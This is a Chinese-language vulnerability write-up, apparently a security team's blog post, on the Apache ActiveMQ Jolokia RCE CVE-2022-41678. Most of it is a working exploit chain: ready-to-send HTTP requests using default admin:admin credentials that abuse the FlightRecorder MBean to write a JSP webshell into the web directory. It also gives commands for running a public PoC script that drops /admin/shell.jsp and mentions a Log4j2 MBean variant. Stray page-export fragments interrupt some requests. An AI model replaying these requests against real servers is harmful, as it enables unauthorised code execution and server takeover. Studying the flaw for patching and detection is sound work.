Apache ActiveMQ Jolokia 后台 RCE (CVE-2022-41678) 漏洞说明

由 晨星运营组 发布

Apache ActiveMQ Jolokia后台RCE(CVE-2022-41678)

Apache ActiveMQ 在 5.16.5, 5.17.3 版本及以前,后台 Jolokia 存在一处任意文件写入导致的远程代码执行漏洞

首先,访问 /api/jolokia/list 这个 API 可以查看当前服务器里所有的 MBeans


这其中有两个可以被用来执行任意代码

GET /api/jolokia/list HTTP/1.1
Host: localhost:8161
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://localhost

主要问题出在 FlightRecorder 这个 Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个

  • newRecording
    新建记录

  • setConfiguration
    更改配置

  • startRecording
    开始录制

  • stopRecording
    结束录制

  • copyTo

导出录制文件

漏洞思路是通过 setConfiguration 修改配置,把一些键名改成 JSP 代码,记录的数据就会包含该 JSP 代码,录制完成后,通过 copyTo 导出到 Web 目录即可

调用setPredefinedConfiguration,断点停下来后可以拿到默认的配置,先保存下来

POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 155
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setPredefinedConfiguration",
"arguments": [1,"s"]
}

新建记录

记录的 id 为 1,后面 POC 都要使用这个 id
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
1-3.md 2025-09-05
3 / 7
Content-Type: application/json
Content-Length: 136
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "newRecording",
"arguments": []
}

更改配置

将默认配置的如下处改为 JSP 代码,特殊字符需要实体编码


如下 arguments 的第一位参数是记录 id,第二个参数是配置内容(很长,已省略)

POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 31263
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setConfiguration",
"arguments": [1,"..."]
}


开始录制

POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 141
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "startRecording",
"arguments": [1]
}

结束录制

POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
1-3.md 2025-09-05
5 / 7
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 138
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "stopRecording",
"arguments": [1]
}


导出到 web 目录

POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 159
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "copyTo",
"arguments": [1,"../webapps/admin/test.jsp"]
}


访问 WebShell

**第一个方法是使用 org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由 Log4j2 提 供的一个MBean

这个方法受到 ActiveMQ 版本的限制,因为 Log4j2 是在 5.17.0 中才引入 Apache ActiveMQ

攻击者使用这个 MBean 中的 setConfigText 操作可以更改 Log4j 的配置,进而将日志文件写入任意目录中**

下载脚本

https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py

python3 CVE-2022-41678.py -u admin -p admin http://127.0.0.1:8161


Webshell 被写入在 /admin/shell.jsp 文件中

**第二个可利用的 Mbean 是 jdk.management.jfr.FlightRecorderMXBean

FlightRecorder 是在 OpenJDK 11 中引入的特性,被用于记录 Java 虚拟机的运行事件。利用这个功能,攻击 者可以将事件日志写入任意文件**

python3 CVE-2022-41678.py -u admin -p admin --exploit jfr http://127.0.0.1:8161

作者:晨星安全团队——雾島风起時


0条评论

发表评论